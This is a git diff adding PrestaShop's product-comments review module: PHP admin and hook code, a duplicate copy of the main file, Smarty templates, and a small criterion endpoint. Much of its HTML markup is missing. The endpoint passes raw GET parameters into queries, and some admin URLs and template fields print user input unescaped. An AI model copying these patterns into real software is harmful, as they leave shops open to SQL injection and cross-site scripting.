        '; + } + + private function _checkDeleteComment() + { + $action = Tools::getValue('delete_action'); + if (empty($action) === false) + { + $product_comments = Tools::getValue('delete_id_product_comment'); + + if (count($product_comments)) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + if ($action == 'delete') + { + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->delete(); + ProductComment::deleteGrades((int)$id_product_comment); + } + } + } + } + } + + public function hookProductTab($params) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $this->context->smarty->assign(array( + 'allow_guests' => (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'), + 'comments' => ProductComment::getByProduct((int)(Tools::getValue('id_product'))), + 'criterions' => ProductCommentCriterion::getByProduct((int)(Tools::getValue('id_product')), $this->context->language->id), + 'nbComments' => (int)(ProductComment::getCommentNumber((int)(Tools::getValue('id_product')))) + )); + + return ($this->display(__FILE__, '/tab.tpl')); + } + + public function hookproductOutOfStock($params) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $id_guest = (!$id_customer = (int)$this->context->cookie->id_customer) ? (int)$this->context->cookie->id_guest : false; + $customerComment = ProductComment::getByCustomer((int)(Tools::getValue('id_product')), (int)$this->context->cookie->id_customer, true, (int)$id_guest); + + $average = ProductComment::getAverageGrade((int)Tools::getValue('id_product')); + + $image = Product::getCover((int)Tools::getValue('id_product')); + + $this->context->smarty->assign(array( + 'id_product_comment_form' => (int)Tools::getValue('id_product'), + 'product' => new Product((int)Tools::getValue('id_product'), false, $this->context->language->id), + 'secure_key' => $this->secure_key, + 'logged' => (int)$this->context->customer->isLogged(true), + 'allow_guests' => (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'), + 'productcomment_cover' => (int)Tools::getValue('id_product').'-'.(int)$image['id_image'], + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'criterions' => ProductCommentCriterion::getByProduct((int)Tools::getValue('id_product'), $this->context->language->id), + 'action_url' => '', + 'averageTotal' => (int)$average['grade'], + 'too_early' => ($customerComment && (strtotime($customerComment['date_add']) + Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')) > time()), + 'nbComments' => (int)(ProductComment::getCommentNumber((int)Tools::getValue('id_product'))) + )); + + return ($this->display(__FILE__, '/productcomments-extra.tpl')); + } + + public function hookProductTabContent($params) + { + $this->context->controller->addJS($this->_path.'js/jquery.rating.pack.js'); + $this->context->controller->addJS($this->_path.'js/jquery.textareaCounter.plugin.js'); + $this->context->controller->addJS($this->_path.'js/productcomments.js'); + + $id_guest = (!$id_customer = (int)$this->context->cookie->id_customer) ? (int)$this->context->cookie->id_guest : false; + $customerComment = ProductComment::getByCustomer((int)(Tools::getValue('id_product')), (int)$this->context->cookie->id_customer, true, (int)$id_guest); + + $averages = ProductComment::getAveragesByProduct((int)Tools::getValue('id_product'), $this->context->language->id); + $averageTotal = 0; + foreach ($averages as $average) + $averageTotal += (float)($average); + $averageTotal = count($averages) ? ($averageTotal / count($averages)) : 0; + + $image = Product::getCover((int)Tools::getValue('id_product')); + + $this->context->smarty->assign(array( + 'logged' => (int)$this->context->customer->isLogged(true), + 'action_url' => '', + 'comments' => ProductComment::getByProduct((int)Tools::getValue('id_product'), 1, null, $this->context->cookie->id_customer), + 'criterions' => ProductCommentCriterion::getByProduct((int)Tools::getValue('id_product'), $this->context->language->id), + 'averages' => $averages, + 'product_comment_path' => $this->_path, + 'averageTotal' => $averageTotal, + 'allow_guests' => (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'), + 'too_early' => ($customerComment && (strtotime($customerComment['date_add']) + Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')) > time()), + 'delay' => Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME'), + 'id_product_comment_form' => (int)Tools::getValue('id_product'), + 'secure_key' => $this->secure_key, + 'productcomment_cover' => (int)Tools::getValue('id_product').'-'.(int)$image['id_image'], + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'nbComments' => (int)ProductComment::getCommentNumber((int)Tools::getValue('id_product')), + 'productcomments_controller_url' => $this->context->link->getModuleLink('productcomments'), + 'productcomments_url_rewriting_activated' => Configuration::get('PS_REWRITING_SETTINGS', 0) + )); + + $this->context->controller->pagination((int)ProductComment::getCommentNumber((int)Tools::getValue('id_product'))); + + return ($this->display(__FILE__, '/productcomments.tpl')); + } + + public function hookHeader() + { + $this->context->controller->addCSS($this->_path.'productcomments.css', 'all'); + } + + public function hookExtraProductComparison($params) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $list_grades = array(); + $list_product_grades = array(); + $list_product_average = array(); + $list_product_comment = array(); + + foreach ($params['list_ids_product'] as $id_product) + { + $grades = ProductComment::getAveragesByProduct($id_product, $this->context->language->id); + $criterions = ProductCommentCriterion::getByProduct($id_product, $this->context->language->id); + $grade_total = 0; + if (count($grades) > 0) + { + foreach ($criterions as $criterion) + { + if (isset($grades[$criterion['id_product_comment_criterion']])) + { + $list_product_grades[$criterion['id_product_comment_criterion']][$id_product] = $grades[$criterion['id_product_comment_criterion']]; + $grade_total += (float)($grades[$criterion['id_product_comment_criterion']]); + } + else + $list_product_grades[$criterion['id_product_comment_criterion']][$id_product] = 0; + + if (!array_key_exists($criterion['id_product_comment_criterion'], $list_grades)) + $list_grades[$criterion['id_product_comment_criterion']] = $criterion['name']; + } + + $list_product_average[$id_product] = $grade_total / count($criterions); + $list_product_comment[$id_product] = ProductComment::getByProduct($id_product, 0, 3); + } + } + + if (count($list_grades) < 1) + return false; + + $this->context->smarty->assign(array('grades' => $list_grades, 'product_grades' => $list_product_grades, 'list_ids_product' => $params['list_ids_product'], + 'list_product_average' => $list_product_average, 'product_comments' => $list_product_comment)); + + return $this->display(__FILE__, '/products-comparison.tpl'); + } +} diff --git a/modules/productcomments/productcomments.php2 b/modules/productcomments/productcomments.php2 new file mode 100755 index 0000000..eab62c5 --- /dev/null +++ b/modules/productcomments/productcomments.php2 @@ -0,0 +1,815 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ProductComments extends Module +{ + const INSTALL_SQL_FILE = 'install.sql'; + + private $_html = ''; + private $_postErrors = array(); + + private $_productCommentsCriterionTypes = array(); + private $_baseUrl; + + public function __construct() + { + $this->name = 'productcomments'; + $this->tab = 'front_office_features'; + $this->version = '2.3'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Product Comments'); + $this->description = $this->l('Allows users to post reviews.'); + } + + public function install() + { + if (!file_exists(dirname(__FILE__).'/'.self::INSTALL_SQL_FILE)) + return false; + else if (!$sql = file_get_contents(dirname(__FILE__).'/'.self::INSTALL_SQL_FILE)) + return false; + $sql = str_replace(array('PREFIX_', 'ENGINE_TYPE'), array(_DB_PREFIX_, _MYSQL_ENGINE_), $sql); + $sql = preg_split("/;\s*[\r\n]+/", trim($sql)); + + foreach ($sql as $query) + if (!Db::getInstance()->execute(trim($query))) + return false; + if (parent::install() == false || + !$this->registerHook('productTab') || + !$this->registerHook('extraProductComparison') || + !$this->registerHook('productTabContent') || + !$this->registerHook('header') || + !$this->registerHook('productOutOfStock') || + !Configuration::updateValue('PRODUCT_COMMENTS_MINIMAL_TIME', 30) || + !Configuration::updateValue('PRODUCT_COMMENTS_ALLOW_GUESTS', 0) || + !Configuration::updateValue('PRODUCT_COMMENTS_MODERATE', 1)) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall() || !$this->deleteTables() || + !Configuration::deleteByName('PRODUCT_COMMENTS_MODERATE') || + !Configuration::deleteByName('PRODUCT_COMMENTS_ALLOW_GUESTS') || + !Configuration::deleteByName('PRODUCT_COMMENTS_MINIMAL_TIME') || + !$this->unregisterHook('extraProductComparison') || + !$this->unregisterHook('productOutOfStock') || + !$this->unregisterHook('productTabContent') || + !$this->unregisterHook('header') || + !$this->unregisterHook('productTab')) + return false; + return true; + } + + public function deleteTables() + { + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS + `'._DB_PREFIX_.'product_comment`, + `'._DB_PREFIX_.'product_comment_criterion`, + `'._DB_PREFIX_.'product_comment_criterion_product`, + `'._DB_PREFIX_.'product_comment_criterion_lang`, + `'._DB_PREFIX_.'product_comment_criterion_category`, + `'._DB_PREFIX_.'product_comment_grade`, + `'._DB_PREFIX_.'product_comment_usefulness`, + `'._DB_PREFIX_.'product_comment_report`'); + } + + protected function _postProcess() + { + if (Tools::isSubmit('submitModerate')) + { + Configuration::updateValue('PRODUCT_COMMENTS_MODERATE', (int)Tools::getValue('moderate')); + Configuration::updateValue('PRODUCT_COMMENTS_ALLOW_GUESTS', (int)Tools::getValue('allow_guest')); + Configuration::updateValue('PRODUCT_COMMENTS_MINIMAL_TIME', (int)Tools::getValue('product_comments_minimal_time')); + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + if ($id_criterion = (int)Tools::getValue('deleteCriterion')) + { + $productCommentCriterion = new ProductCommentCriterion((int)$id_criterion); + if ($productCommentCriterion->id) + if ($productCommentCriterion->delete()) + $this->_html .= '
        '.$this->l('Criterion deleted').'
        '; + } + } + + public function getContent() + { + include_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $this->_setBaseUrl(); + $this->_productCommentsCriterionTypes = ProductCommentCriterion::getTypes(); + $this->_html = '

        '.$this->displayName.'

        '; + $this->_postProcess(); + $this->_checkModerateComment(); + $this->_checkReportedComment(); + $this->_checkCriterion(); + $this->_updateApplicationCriterion(); + $this->_checkDeleteComment(); + + return $this->_html.$this->_displayForm(); + } + + private function _setBaseUrl() + { + $this->_baseUrl = 'index.php?'; + foreach ($_GET as $k => $value) + if (!in_array($k, array('deleteCriterion', 'editCriterion'))) + $this->_baseUrl .= $k.'='.$value.'&'; + $this->_baseUrl = rtrim($this->_baseUrl, '&'); + } + + private function _checkModerateComment() + { + $action = Tools::getValue('action'); + if (empty($action) === false && (int)Configuration::get('PRODUCT_COMMENTS_MODERATE')) + { + $product_comments = Tools::getValue('id_product_comment'); + + if (count($product_comments)) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + switch ($action) + { + case 'accept': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->validate(); + } + break; + + case 'delete': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->delete(); + ProductComment::deleteGrades((int)$id_product_comment); + } + break; + + default: + ; + } + } + } + } + + private function _checkReportedComment() + { + $action = Tools::getValue('action'); + if (empty($action) === false) + { + $product_comments = Tools::getValue('id_product_comment'); + + if (count($product_comments)) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + switch ($action) + { + case 'accept': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->validate(); + ProductComment::deleteReports((int)$id_product_comment); + } + break; + case 'delete': + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->delete(); + ProductComment::deleteGrades((int)$id_product_comment); + ProductComment::deleteReports((int)$id_product_comment); + ProductComment::deleteUsefulness((int)$id_product_comment); + } + break; + default: + ; + } + } + } + } + + private function _checkCriterion() + { + $action_criterion = Tools::getValue('criterion_action'); + $name = Tools::getValue('criterion'); + if (Tools::isSubmit('submitAddCriterion')) + { + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + $languages = Language::getLanguages(); + $id_criterion = (int)Tools::getValue('id_product_comment_criterion'); + $productCommentCriterion = new ProductCommentCriterion((int)$id_criterion); + foreach ($languages as $lang) + $productCommentCriterion->name[(int)$lang['id_lang']] = Tools::getValue('criterion_'.(int)$lang['id_lang']); + + // Check default language criterion name + $defaultLanguage = new Language((int)(Configuration::get('PS_LANG_DEFAULT'))); + if (!Tools::getValue('criterion_'.$defaultLanguage->id)) + { + $this->_html .= '
        '.$this->l('The field Name is required at least in').' '.$defaultLanguage->name.'
        '; + return; + } + + $productCommentCriterion->id_product_comment_criterion_type = (int)Tools::getValue('criterion_type'); + $productCommentCriterion->active = (int)Tools::getValue('criterion_active'); + + if ($productCommentCriterion->save()) + $this->_html .= '
        '.(Tools::getValue('editCriterion') ? $this->l('Criterion updated') : $this->l('Criterion added')).'
        '; + } + else if (!empty($action_criterion) && empty($name)) + { + $id_product_comment_criterion = Tools::getValue('id_product_comment_criterion'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + switch ($action_criterion) + { + case 'edit': + ProductCommentCriterion::update($id_product_comment_criterion, + Tools::getValue('criterion_id_lang'), + Tools::getValue('criterion_name')); + break; + case 'delete': + ProductCommentCriterion::delete($id_product_comment_criterion); + break; + default: + ; + } + } + } + + private function _updateApplicationCriterion() + { + if (Tools::isSubmit('submitApplicationCriterion')) + { + include_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $id_criterion = (int)Tools::getValue('id_criterion'); + $productCommentCriterion = new ProductCommentCriterion((int)$id_criterion); + if ($productCommentCriterion->id) + { + if ($productCommentCriterion->id_product_comment_criterion_type == 2) + { + $productCommentCriterion->deleteCategories(); + if ($categories = Tools::getValue('id_product')) + if (count($categories)) + foreach ($categories as $id_category) + $productCommentCriterion->addCategory((int)$id_category); + } + else if ($productCommentCriterion->id_product_comment_criterion_type == 3) + { + $productCommentCriterion->deleteProducts(); + if ($products = Tools::getValue('id_product')) + if (count($products)) + foreach ($products as $product) + $productCommentCriterion->addProduct((int)$product); + } + } + + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + } + + private function _displayForm() + { + $this->_displayFormModerate(); + $this->_displayFormReported(); + $this->_displayFormConfigurationCriterion(); + $this->_displayFormApplicationCriterion(); + $this->_displayFormDelete(); + + return $this->_html; + } + + private function _displayFormModerate() + { + $this->_html = ' +
        + '.$this->l('Configuration').' +
        + +
        + + + + +
        +
        + +
        + + + + +
        +
        + +
        + '.$this->l('seconds').' +
        +
        +
        + +
        +
        +
        +
        +
        + '.$this->l('Moderate Comments').''; + if (Configuration::get('PRODUCT_COMMENTS_MODERATE')) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments = ProductComment::getByValidate(); + if (count($comments)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + + '; + foreach ($comments as $comment) + $this->_html .= ' + + + + + + '; + $this->_html .= ' + + + + + +
        '.$this->l('Author').''.$this->l('Comment').''.$this->l('Product name').''.$this->l('Actions').'
        '.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$comment['id_product'].' - '.htmlspecialchars($comment['name'], ENT_COMPAT, 'UTF-8').''.$this->l('Accept').' + '.$this->l('Delete').'
        '.$this->l('Selection:').''.$this->l('Accept').' + '.$this->l('Delete').'
        +
        '; + } + else + $this->_html .= $this->l('No comments to validate at this time.'); + } + $this->_html .= '

        '; + } + + private function _displayFormReported() + { + $this->_html .= '
        + '.$this->l('Reported Comments').''; + + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments = ProductComment::getReportedComments(); + if (count($comments)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + + '; + foreach ($comments as $comment) + $this->_html .= ' + + + + + + '; + $this->_html .= ' + + + + + +
        '.$this->l('Author').''.$this->l('Comment').''.$this->l('Product name').''.$this->l('Actions').'
        '.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$comment['id_product'].' - '.htmlspecialchars($comment['name'], ENT_COMPAT, 'UTF-8').''.$this->l('Accept').' + '.$this->l('Delete').'
        '.$this->l('Selection:').''.$this->l('Accept').' + '.$this->l('Delete').'
        +
        '; + } + else + $this->_html .= $this->l('No reported comments at this time.'); + $this->_html .= '

        '; + } + + private function _displayFormConfigurationCriterion() + { + $langs = Language::getLanguages(false); + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + + $id_criterion = (int)Tools::getValue('editCriterion'); + $criterion = new ProductCommentCriterion((int)$id_criterion); + $languageIds = 'criterion'; + $this->_html .= ' +
        + '.$this->l('Add a new comment criterion').' +

        '.$this->l('You can define several criterions to help your customers during their review. For instance: efficiency, lightness, design.').'
        +
        '.$this->l('You can add a new criterion below:').'

        +
        + +
        + '; + foreach ($langs as $lang) + $this->_html .= ' +
        + +
        '; + $this->_html .= $this->displayFlags($langs, (int)$id_lang_default, $languageIds, 'criterion', true); + $this->_html .= ' +
        +
         
        + +
        + +
        + +
        + active ? 'checked="checked" ' : '').'/> + + active ? 'checked="checked" ' : '').'/> + +
        +
        + +
        +
        '; + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + $criterions = ProductCommentCriterion::getCriterions($this->context->language->id); + if (count($criterions)) + { + $this->_html .= '
        + + + + + + + + + + '; + + foreach ($criterions as $criterion) + { + $this->_html .= ' + + + + '; + } + $this->_html .= '
        '.$this->l('Criterion').''.$this->l('Type').''.$this->l('Status').''.$this->l('Actions').'
        '.$criterion['name'].''.$this->_productCommentsCriterionTypes[(int)$criterion['id_product_comment_criterion_type']].''.$this->l('Edit').' + '.$this->l('Delete').'
        '; + } + $this->_html .= '

        '; + } + + private function _displayFormApplicationCriterion() + { + include_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $criterions = ProductCommentCriterion::getCriterions($this->context->language->id, false, true); + $id_criterion = (int)Tools::getValue('updateCriterion'); + + if ($id_criterion) + { + $criterion = new ProductCommentCriterion((int)$id_criterion); + if ($criterion->id_product_comment_criterion_type == 2) + { + $categories = Category::getSimpleCategories($this->context->language->id); + $criterion_categories = $criterion->getCategories(); + } + else if ($criterion->id_product_comment_criterion_type == 3) + { + $criterion_products = $criterion->getProducts(); + $products = Product::getSimpleProducts($this->context->language->id); + } + } + + foreach ($criterions as $key => $foo) + if ($foo['id_product_comment_criterion_type'] == 1) + unset($criterions[$key]); + + if (count($criterions)) + { + $this->_html .= ' +
        + '.$this->l('Manage criterions scope').' +

        '.$this->l('Only criterions restricted to categories or products can be configured below:').'

        +
        + +
        +"> + +
        +
        '; + + if ($id_criterion && $criterion->id_product_comment_criterion_type != 1) + { + $this->_html .=' +
        +
        + +
        + + + + + + + + '; + + if ($criterion->id_product_comment_criterion_type == 3) + foreach ($products as $product) + $this->_html .=' + '; + else if ($criterion->id_product_comment_criterion_type == 2) + foreach ($categories as $category) + $this->_html .=' + '; + $this->_html .=' +
        '.$this->l('ID').''.($criterion->id_product_comment_criterion_type == 3 ? $this->l('Product Name') : $this->l('Category Name')).'
        '.(int)$product['id_product'].''.$product['name'].'
        '.(int)$category['id_category'].''.$category['name'].'
        +
        +
        + +
        +
        '; + } + + $this->_html .= '
        '; + } + } + + private function _displayFormDelete() + { + $this->_html .= ' +
        + '.$this->l('Manage Comments').''; + + require_once(dirname(__FILE__).'/ProductComment.php'); + $comments = ProductComment::getAll(); + if (count($comments)) + { + $this->_html .= ' +
        + + +
        + + + + + + + + + '; + foreach ($comments as $comment) + $this->_html .= ' + + + + + '; + $this->_html .= ' + + + + + +
        '.$this->l('Author').''.$this->l('Comment').''.$this->l('Actions').'
        '.htmlspecialchars($comment['customer_name'], ENT_COMPAT, 'UTF-8').'.'.htmlspecialchars($comment['content'], ENT_COMPAT, 'UTF-8').''.$this->l('Delete').'
        '.$this->l('Selection:').''.$this->l('Delete').'
        +
        '; + } + else + $this->_html .= $this->l('No comments to manage at this time.'); + + $this->_html .= '

        '; + } + + private function _checkDeleteComment() + { + $action = Tools::getValue('delete_action'); + if (empty($action) === false) + { + $product_comments = Tools::getValue('delete_id_product_comment'); + + if (count($product_comments)) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + if ($action == 'delete') + { + foreach ($product_comments as $id_product_comment) + { + if (!$id_product_comment) + continue; + $comment = new ProductComment((int)$id_product_comment); + $comment->delete(); + ProductComment::deleteGrades((int)$id_product_comment); + } + } + } + } + } + + public function hookProductTab($params) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $this->context->smarty->assign(array( + 'allow_guests' => (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'), + 'comments' => ProductComment::getByProduct((int)(Tools::getValue('id_product'))), + 'criterions' => ProductCommentCriterion::getByProduct((int)(Tools::getValue('id_product')), $this->context->language->id), + 'nbComments' => (int)(ProductComment::getCommentNumber((int)(Tools::getValue('id_product')))) + )); + + return ($this->display(__FILE__, '/tab.tpl')); + } + + public function hookproductOutOfStock($params) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $id_guest = (!$id_customer = (int)$this->context->cookie->id_customer) ? (int)$this->context->cookie->id_guest : false; + $customerComment = ProductComment::getByCustomer((int)(Tools::getValue('id_product')), (int)$this->context->cookie->id_customer, true, (int)$id_guest); + + $average = ProductComment::getAverageGrade((int)Tools::getValue('id_product')); + + $image = Product::getCover((int)Tools::getValue('id_product')); + + $this->context->smarty->assign(array( + 'id_product_comment_form' => (int)Tools::getValue('id_product'), + 'product' => new Product((int)Tools::getValue('id_product'), false, $this->context->language->id), + 'secure_key' => $this->secure_key, + 'logged' => (int)$this->context->customer->isLogged(true), + 'allow_guests' => (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'), + 'productcomment_cover' => (int)Tools::getValue('id_product').'-'.(int)$image['id_image'], + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'criterions' => ProductCommentCriterion::getByProduct((int)Tools::getValue('id_product'), $this->context->language->id), + 'action_url' => '', + 'averageTotal' => (int)$average['grade'], + 'too_early' => ($customerComment && (strtotime($customerComment['date_add']) + Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')) > time()), + 'nbComments' => (int)(ProductComment::getCommentNumber((int)Tools::getValue('id_product'))) + )); + + return ($this->display(__FILE__, '/productcomments-extra.tpl')); + } + + public function hookProductTabContent($params) + { + $this->context->controller->addJS($this->_path.'js/jquery.rating.pack.js'); + $this->context->controller->addJS($this->_path.'js/jquery.textareaCounter.plugin.js'); + $this->context->controller->addJS($this->_path.'js/productcomments.js'); + + $id_guest = (!$id_customer = (int)$this->context->cookie->id_customer) ? (int)$this->context->cookie->id_guest : false; + $customerComment = ProductComment::getByCustomer((int)(Tools::getValue('id_product')), (int)$this->context->cookie->id_customer, true, (int)$id_guest); + + $averages = ProductComment::getAveragesByProduct((int)Tools::getValue('id_product'), $this->context->language->id); + $averageTotal = 0; + foreach ($averages as $average) + $averageTotal += (float)($average); + $averageTotal = count($averages) ? ($averageTotal / count($averages)) : 0; + + $image = Product::getCover((int)Tools::getValue('id_product')); + + $this->context->smarty->assign(array( + 'logged' => (int)$this->context->customer->isLogged(true), + 'action_url' => '', + 'comments' => ProductComment::getByProduct((int)Tools::getValue('id_product'), 1, null, $this->context->cookie->id_customer), + 'criterions' => ProductCommentCriterion::getByProduct((int)Tools::getValue('id_product'), $this->context->language->id), + 'averages' => $averages, + 'product_comment_path' => $this->_path, + 'averageTotal' => $averageTotal, + 'allow_guests' => (int)Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS'), + 'too_early' => ($customerComment && (strtotime($customerComment['date_add']) + Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')) > time()), + 'delay' => Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME'), + 'id_product_comment_form' => (int)Tools::getValue('id_product'), + 'secure_key' => $this->secure_key, + 'productcomment_cover' => (int)Tools::getValue('id_product').'-'.(int)$image['id_image'], + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'nbComments' => (int)ProductComment::getCommentNumber((int)Tools::getValue('id_product')), + 'productcomments_controller_url' => $this->context->link->getModuleLink('productcomments'), + 'productcomments_url_rewriting_activated' => Configuration::get('PS_REWRITING_SETTINGS', 0) + )); + + $this->context->controller->pagination((int)ProductComment::getCommentNumber((int)Tools::getValue('id_product'))); + + return ($this->display(__FILE__, '/productcomments.tpl')); + } + + public function hookHeader() + { + $this->context->controller->addCSS($this->_path.'productcomments.css', 'all'); + } + + public function hookExtraProductComparison($params) + { + require_once(dirname(__FILE__).'/ProductComment.php'); + require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + + $list_grades = array(); + $list_product_grades = array(); + $list_product_average = array(); + $list_product_comment = array(); + + foreach ($params['list_ids_product'] as $id_product) + { + $grades = ProductComment::getAveragesByProduct($id_product, $this->context->language->id); + $criterions = ProductCommentCriterion::getByProduct($id_product, $this->context->language->id); + $grade_total = 0; + if (count($grades) > 0) + { + foreach ($criterions as $criterion) + { + if (isset($grades[$criterion['id_product_comment_criterion']])) + { + $list_product_grades[$criterion['id_product_comment_criterion']][$id_product] = $grades[$criterion['id_product_comment_criterion']]; + $grade_total += (float)($grades[$criterion['id_product_comment_criterion']]); + } + else + $list_product_grades[$criterion['id_product_comment_criterion']][$id_product] = 0; + + if (!array_key_exists($criterion['id_product_comment_criterion'], $list_grades)) + $list_grades[$criterion['id_product_comment_criterion']] = $criterion['name']; + } + + $list_product_average[$id_product] = $grade_total / count($criterions); + $list_product_comment[$id_product] = ProductComment::getByProduct($id_product, 0, 3); + } + } + + if (count($list_grades) < 1) + return false; + + $this->context->smarty->assign(array('grades' => $list_grades, 'product_grades' => $list_product_grades, 'list_ids_product' => $params['list_ids_product'], + 'list_product_average' => $list_product_average, 'product_comments' => $list_product_comment)); + + return $this->display(__FILE__, '/products-comparison.tpl'); + } +} diff --git a/modules/productcomments/productcomments.tpl b/modules/productcomments/productcomments.tpl new file mode 100755 index 0000000..ad82997 --- /dev/null +++ b/modules/productcomments/productcomments.tpl @@ -0,0 +1,148 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +
        + {if $comments} + {foreach from=$comments item=comment} + {if $comment.content} +
        +
        + {l s='Grade' mod='productcomments'}  +
        + {section name="i" start=0 loop=5 step=1} + {if $comment.grade le $smarty.section.i.index} +
        + {else} +
        + {/if} + {/section} +
        +
        + {$comment.customer_name|escape:'html':'UTF-8'}
        + {dateFormat date=$comment.date_add|escape:'html':'UTF-8' full=0} +
        +
        +
        +

        {$comment.title}

        +

        {$comment.content|escape:'html':'UTF-8'|nl2br}

        +
          + {if $comment.total_advice > 0} +
        • {l s='%1$d out of %2$d people found this review useful.' sprintf=[$comment.total_useful,$comment.total_advice] mod='productcomments'}
        • + {/if} + {if $logged == 1} + {if !$comment.customer_advice} +
        • {l s='Was this comment useful to you?' mod='productcomments'}
        • + {/if} + {if !$comment.customer_report} +
        • {l s='Report abuse' mod='productcomments'}
        • + {/if} + {/if} +
        +
        +
        + {/if} + {/foreach} + {else} + {if ($too_early == false AND ($logged OR $allow_guests))} +

        + {l s='Be the first to write your review' mod='productcomments'} ! +

        + {else} +

        {l s='No customer comments for the moment.' mod='productcomments'}

        + {/if} + {/if} +
        +
        + + +
        +
        +
        +

        {l s='Write your review' mod='productcomments'}

        +
        + {$product->name|escape:html:'UTF-8'} +
        +

        {$product->name}

        + {$product->description_short} +
        +
        + +
        +

        {l s='Write your review' mod='productcomments'}

        + + + + {if $criterions|@count > 0} +
          + {foreach from=$criterions item='criterion'} +
        • + +
          + + + + + +
          +
          +
        • + {/foreach} +
        + {/if} + + + + + + + + {if $allow_guests == true && $logged == 0} + + + {/if} + + +
        +
        +
        +
        + diff --git a/modules/productcomments/productcommentscriterion.php b/modules/productcomments/productcommentscriterion.php new file mode 100755 index 0000000..e625baa --- /dev/null +++ b/modules/productcomments/productcommentscriterion.php @@ -0,0 +1,49 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/ProductCommentCriterion.php'); + +if (empty($_GET['id_lang']) === false && + isset($_GET['id_product']) === true) +{ + $criterions = ProductCommentCriterion::get($_GET['id_lang']); + if ((int)($_GET['id_product'])) + $selects = ProductCommentCriterion::getByProduct($_GET['id_product'], $_GET['id_lang']); + echo ''; +} \ No newline at end of file diff --git a/modules/productcomments/products-comparison.tpl b/modules/productcomments/products-comparison.tpl new file mode 100755 index 0000000..2891424 --- /dev/null +++ b/modules/productcomments/products-comparison.tpl @@ -0,0 +1,119 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file 